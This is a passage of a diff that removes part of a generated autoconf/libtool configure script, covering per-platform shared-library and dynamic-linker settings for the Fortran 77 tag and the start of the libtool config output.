- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_F77
- pic_flag=$lt_prog_compiler_pic_F77
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_F77
- allow_undefined_flag_F77=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_F77=no
- else
- archive_cmds_need_lc_F77=yes
- fi
- allow_undefined_flag_F77=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_F77" >&5
-$as_echo "$archive_cmds_need_lc_F77" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
- nonstopux*) version_type=nonstopux ;;
- *)
- if test "$lt_cv_prog_gnu_ld" = yes; then
- version_type=linux
- else
- version_type=irix
- fi ;;
- esac
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}'
- case $host_os in
- irix5* | nonstopux*)
- libsuff= shlibsuff=
- ;;
- *)
- case $LD in # libtool.m4 will add one of these switches to LD
- *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ")
- libsuff= shlibsuff= libmagic=32-bit;;
- *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ")
- libsuff=32 shlibsuff=N32 libmagic=N32;;
- *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ")
- libsuff=64 shlibsuff=64 libmagic=64-bit;;
- *) libsuff= shlibsuff= libmagic=never-match;;
- esac
- ;;
- esac
- shlibpath_var=LD_LIBRARY${shlibsuff}_PATH
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}"
- sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}"
- hardcode_into_libs=yes
- ;;
-
-# No shared lib support for Linux oldld, aout, or coff.
-linux*oldld* | linux*aout* | linux*coff*)
- dynamic_linker=no
- ;;
-
-# This must be Linux ELF.
-linux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- # This implies no fast_install, which is unacceptable.
- # Some rework will be needed to allow for fast_install
- # before this can be enabled.
- hardcode_into_libs=yes
-
- # Append ld.so.conf contents to the search path
- if test -f /etc/ld.so.conf; then
- lt_ld_extra=`awk '/^include / { system(sprintf("cd /etc; cat %s", \$2)); skip = 1; } { if (!skip) print \$0; skip = 0; }' < /etc/ld.so.conf | $SED -e 's/#.*//;s/[:, ]/ /g;s/=[^=]*$//;s/=[^= ]* / /g;/^$/d' | tr '\n' ' '`
- sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra"
- fi
-
- # We used to test for /lib/ld.so.1 and disable shared libraries on
- # powerpc, because MkLinux only supported shared libraries with the
- # GNU dynamic linker. Since this was broken with cross compilers,
- # most powerpc-linux boxes support dynamic linking these days and
- # people can always --disable-shared, the test was removed, and we
- # assume the GNU/Linux dynamic linker is in use.
- dynamic_linker='GNU/Linux ld.so'
- ;;
-
-knetbsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-netbsd*)
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- dynamic_linker='NetBSD (a.out) ld.so'
- else
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='NetBSD ld.elf_so'
- fi
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
-
-newsos6)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-nto-qnx*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- ;;
-
-openbsd*)
- version_type=sunos
- sys_lib_dlsearch_path_spec="/usr/lib"
- need_lib_prefix=no
- # Some older versions of OpenBSD (3.3 at least) *do* need versioned libs.
- case $host_os in
- openbsd3.3 | openbsd3.3.*) need_version=yes ;;
- *) need_version=no ;;
- esac
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- case $host_os in
- openbsd2.[89] | openbsd2.[89].*)
- shlibpath_overrides_runpath=no
- ;;
- *)
- shlibpath_overrides_runpath=yes
- ;;
- esac
- else
- shlibpath_overrides_runpath=yes
- fi
- ;;
-
-os2*)
- libname_spec='$name'
- shrext_cmds=".dll"
- need_lib_prefix=no
- library_names_spec='$libname${shared_ext} $libname.a'
- dynamic_linker='OS/2 ld.exe'
- shlibpath_var=LIBPATH
- ;;
-
-osf3* | osf4* | osf5*)
- version_type=osf
- need_lib_prefix=no
- need_version=no
- soname_spec='${libname}${release}${shared_ext}$major'
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib"
- sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec"
- ;;
-
-solaris*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- # ldd complains unless libraries are executable
- postinstall_cmds='chmod +x $lib'
- ;;
-
-sunos4*)
- version_type=sunos
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix'
- finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes
- if test "$with_gnu_ld" = yes; then
- need_lib_prefix=no
- fi
- need_version=yes
- ;;
-
-sysv4 | sysv4.3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- case $host_vendor in
- sni)
- shlibpath_overrides_runpath=no
- need_lib_prefix=no
- export_dynamic_flag_spec='${wl}-Blargedynsym'
- runpath_var=LD_RUN_PATH
- ;;
- siemens)
- need_lib_prefix=no
- ;;
- motorola)
- need_lib_prefix=no
- need_version=no
- shlibpath_overrides_runpath=no
- sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib'
- ;;
- esac
- ;;
-
-sysv4*MP*)
- if test -d /usr/nec ;then
- version_type=linux
- library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}'
- soname_spec='$libname${shared_ext}.$major'
- shlibpath_var=LD_LIBRARY_PATH
- fi
- ;;
-
-sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*)
- version_type=freebsd-elf
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- if test "$with_gnu_ld" = yes; then
- sys_lib_search_path_spec='/usr/local/lib /usr/gnu/lib /usr/ccs/lib /usr/lib /lib'
- shlibpath_overrides_runpath=no
- else
- sys_lib_search_path_spec='/usr/ccs/lib /usr/lib'
- shlibpath_overrides_runpath=yes
- case $host_os in
- sco3.2v5*)
- sys_lib_search_path_spec="$sys_lib_search_path_spec /lib"
- ;;
- esac
- fi
- sys_lib_dlsearch_path_spec='/usr/lib'
- ;;
-
-uts4*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-*)
- dynamic_linker=no
- ;;
-esac
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $dynamic_linker" >&5
-$as_echo "$dynamic_linker" >&6; }
-test "$dynamic_linker" = no && can_build_shared=no
-
-variables_saved_for_relink="PATH $shlibpath_var $runpath_var"
-if test "$GCC" = yes; then
- variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH"
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to hardcode library paths into programs" >&5
-$as_echo_n "checking how to hardcode library paths into programs... " >&6; }
-hardcode_action_F77=
-if test -n "$hardcode_libdir_flag_spec_F77" || \
- test -n "$runpath_var_F77" || \
- test "X$hardcode_automatic_F77" = "Xyes" ; then
-
- # We can hardcode non-existant directories.
- if test "$hardcode_direct_F77" != no &&
- # If the only mechanism to avoid hardcoding is shlibpath_var, we
- # have to relink, otherwise we might link with an installed library
- # when we should be linking with a yet-to-be-installed one
- ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, F77)" != no &&
- test "$hardcode_minus_L_F77" != no; then
- # Linking always hardcodes the temporary library directory.
- hardcode_action_F77=relink
- else
- # We can link without hardcoding, and we can hardcode nonexisting dirs.
- hardcode_action_F77=immediate
- fi
-else
- # We cannot hardcode anything, or else we can only hardcode existing
- # directories.
- hardcode_action_F77=unsupported
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $hardcode_action_F77" >&5
-$as_echo "$hardcode_action_F77" >&6; }
-
-if test "$hardcode_action_F77" = relink; then
- # Fast installation is not supported
- enable_fast_install=no
-elif test "$shlibpath_overrides_runpath" = yes ||
- test "$enable_shared" = no; then
- # Fast installation is not necessary
- enable_fast_install=needless
-fi
-
-
-# The else clause should only fire when bootstrapping the
-# libtool distribution, otherwise you forgot to ship ltmain.sh
-# with your package, and you will get complaints that there are
-# no rules to generate ltmain.sh.
-if test -f "$ltmain"; then
- # See if we are running on zsh, and set the options which allow our commands through
- # without removal of \ escapes.
- if test -n "${ZSH_VERSION+set}" ; then
- setopt NO_GLOB_SUBST
- fi
- # Now quote all the things that may contain metacharacters while being
- # careful not to overquote the AC_SUBSTed values. We take copies of the
- # variables and quote the copies for generation of the libtool script.
- for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC LTCFLAGS NM \
- SED SHELL STRIP \
- libname_spec library_names_spec soname_spec extract_expsyms_cmds \
- old_striplib striplib file_magic_cmd finish_cmds finish_eval \
- deplibs_check_method reload_flag reload_cmds need_locks \
- lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- sys_lib_search_path_spec sys_lib_dlsearch_path_spec \
- old_postinstall_cmds old_postuninstall_cmds \
- compiler_F77 \
- CC_F77 \
- LD_F77 \
- lt_prog_compiler_wl_F77 \
- lt_prog_compiler_pic_F77 \
- lt_prog_compiler_static_F77 \
- lt_prog_compiler_no_builtin_flag_F77 \
- export_dynamic_flag_spec_F77 \
- thread_safe_flag_spec_F77 \
- whole_archive_flag_spec_F77 \
- enable_shared_with_static_runtimes_F77 \
- old_archive_cmds_F77 \
- old_archive_from_new_cmds_F77 \
- predep_objects_F77 \
- postdep_objects_F77 \
- predeps_F77 \
- postdeps_F77 \
- compiler_lib_search_path_F77 \
- archive_cmds_F77 \
- archive_expsym_cmds_F77 \
- postinstall_cmds_F77 \
- postuninstall_cmds_F77 \
- old_archive_from_expsyms_cmds_F77 \
- allow_undefined_flag_F77 \
- no_undefined_flag_F77 \
- export_symbols_cmds_F77 \
- hardcode_libdir_flag_spec_F77 \
- hardcode_libdir_flag_spec_ld_F77 \
- hardcode_libdir_separator_F77 \
- hardcode_automatic_F77 \
- module_cmds_F77 \
- module_expsym_cmds_F77 \
- lt_cv_prog_compiler_c_o_F77 \
- exclude_expsyms_F77 \
- include_expsyms_F77; do
-
- case $var in
- old_archive_cmds_F77 | \
- old_archive_from_new_cmds_F77 | \
- archive_cmds_F77 | \
- archive_expsym_cmds_F77 | \
- module_cmds_F77 | \
- module_expsym_cmds_F77 | \
- old_archive_from_expsyms_cmds_F77 | \
- export_symbols_cmds_F77 | \
- extract_expsyms_cmds | reload_cmds | finish_cmds | \
- postinstall_cmds | postuninstall_cmds | \
- old_postinstall_cmds | old_postuninstall_cmds | \
- sys_lib_search_path_spec | sys_lib_dlsearch_path_spec)
- # Double-quote double-evaled strings.
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$double_quote_subst\" -e \"\$sed_quote_subst\" -e \"\$delay_variable_subst\"\`\\\""
- ;;
- *)
- eval "lt_$var=\\\"\`\$echo \"X\$$var\" | \$Xsed -e \"\$sed_quote_subst\"\`\\\""
- ;;
- esac
- done
-
- case $lt_echo in
- *'\$0 --fallback-echo"')
- lt_echo=`$echo "X$lt_echo" | $Xsed -e 's/\\\\\\\$0 --fallback-echo"$/$0 --fallback-echo"/'`
- ;;
- esac
-
-cfgfile="$ofile"
-
- cat <<__EOF__ >> "$cfgfile"
-# ### BEGIN LIBTOOL TAG CONFIG: $tagname
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$archive_cmds_need_lc_F77
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$enable_shared_with_static_runtimes_F77
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
-
-# An echo program that does not interpret backslashes.
-echo=$lt_echo
-
-# The archiver.
-AR=$lt_AR
-AR_FLAGS=$lt_AR_FLAGS
-
-# A C compiler.
-LTCC=$lt_LTCC
-
-# LTCC compiler flags.
-LTCFLAGS=$lt_LTCFLAGS
-
-# A language-specific compiler.
-CC=$lt_compiler_F77
-
-# Is the compiler the GNU C compiler?
-with_gcc=$GCC_F77
-
-# An ERE matcher.
-EGREP=$lt_EGREP
-
-# The linker used to build libraries.
-LD=$lt_LD_F77
-
-# Whether we need hard or soft links.
-LN_S=$lt_LN_S
-
-# A BSD-compatible nm program.
-NM=$lt_NM
-
-# A symbol stripping program
-STRIP=$lt_STRIP
-
